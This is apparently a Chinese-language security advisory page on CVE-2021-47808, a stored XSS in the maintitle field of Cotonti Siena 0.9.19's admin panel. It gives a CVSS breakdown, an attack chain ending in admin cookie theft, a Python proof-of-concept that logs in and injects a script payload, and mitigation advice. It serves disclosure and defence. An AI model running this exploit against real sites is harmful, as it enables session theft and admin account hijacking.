IPBUF安全漏洞报告
English
CVE-2021-47808 CVSS 5.4 中危

CVE-2021-47808: Cotonti Siena 存储型XSS漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2021-47808
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Cotonti Siena

相关标签

存储型XSSCotonti SienaCVE-2021-47808跨站脚本管理后台CVSS 5.4中危漏洞Web应用安全

漏洞概述

CVE-2021-47808是Cotonti Siena 0.9.19版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于管理后台配置面板的站点标题(maintitle)参数中。攻击者可以通过该参数注入恶意JavaScript代码,当管理员访问相关页面时,恶意脚本将自动执行。由于是存储型XSS,恶意代码会被永久保存在服务器端,影响所有访问该页面的用户。攻击者可利用此漏洞窃取管理员会话Cookie、劫持管理员账户、修改页面内容或进行钓鱼攻击。由于该漏洞需要低权限认证且需要用户交互,CVSS评分为5.4,属于中等严重程度。

技术细节

该漏洞属于典型的存储型XSS(Stored Cross-Site Scripting)漏洞。在Cotonti Siena的管理后台配置面板中,站点标题参数'maintitle'未对用户输入进行充分的HTML转义或输入验证。攻击者以低权限用户身份登录后,在管理配置页面的站点标题字段中注入恶意JavaScript代码,如:<script>alert(document.cookie)</script>。由于应用程序直接将用户输入存储到数据库并在后续页面中直接输出,未进行适当的输出编码或HTML转义,导致恶意脚本在管理员访问配置页面或相关显示站点标题的页面时执行。攻击者利用此漏洞可窃取管理员的会话Cookie,从而获取管理员权限,进一步控制整个网站系统。

攻击链分析

STEP 1
步骤1
攻击者以低权限用户身份登录Cotonti Siena管理后台
STEP 2
步骤2
攻击者访问管理配置面板,在站点标题(maintitle)参数中注入恶意JavaScript代码
STEP 3
步骤3
应用程序未对输入进行验证和转义,直接将恶意脚本存储到数据库
STEP 4
步骤4
管理员访问配置页面或显示站点标题的页面时,恶意脚本自动执行
STEP 5
步骤5
攻击者通过XSS漏洞窃取管理员的会话Cookie或执行其他恶意操作
STEP 6
步骤6
攻击者利用窃取的会话信息劫持管理员账户,进一步控制整个网站系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2021-47808 PoC - Stored XSS in Cotonti Siena maintitle parameter # Target: Cotonti Siena 0.9.19 target_url = "http://target.com/cotonti" admin_url = f"{target_url}/admin.php" login_url = f"{target_url}/admin.php?m=login" # Malicious JavaScript payload xss_payload = '<script>alert(document.cookie)</script>' def exploit_cve_2021_47808(): """Exploit stored XSS in Cotonti Siena maintitle parameter""" # Step 1: Login as low-privilege admin user session = requests.Session() login_data = { 'user': 'attacker_username', 'pass': 'attacker_password', 'loginsubmit': 'Login' } response = session.post(login_url, data=login_data) if 'admin' not in response.url: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Inject XSS payload in maintitle parameter config_data = { 'maintitle': xss_payload, 'save': 'Save' } response = session.post(admin_url, data=config_data) if xss_payload in response.text or 'success' in response.text.lower(): print("[+] XSS payload injected successfully") print(f"[*] Payload: {xss_payload}") print("[*] Wait for admin to visit the page to trigger XSS") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": if len(sys.argv) > 1: target_url = sys.argv[1] exploit_cve_2021_47808()

影响范围

Cotonti Siena 0.9.19

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或限制低权限用户对管理配置面板的访问权限;2)在Web应用防火墙(WAF)中添加XSS防护规则,拦截包含<script>标签的请求;3)对管理后台实施严格的访问控制,限制可访问配置页面的用户范围;4)监控日志中的异常请求模式,及时发现和阻止攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表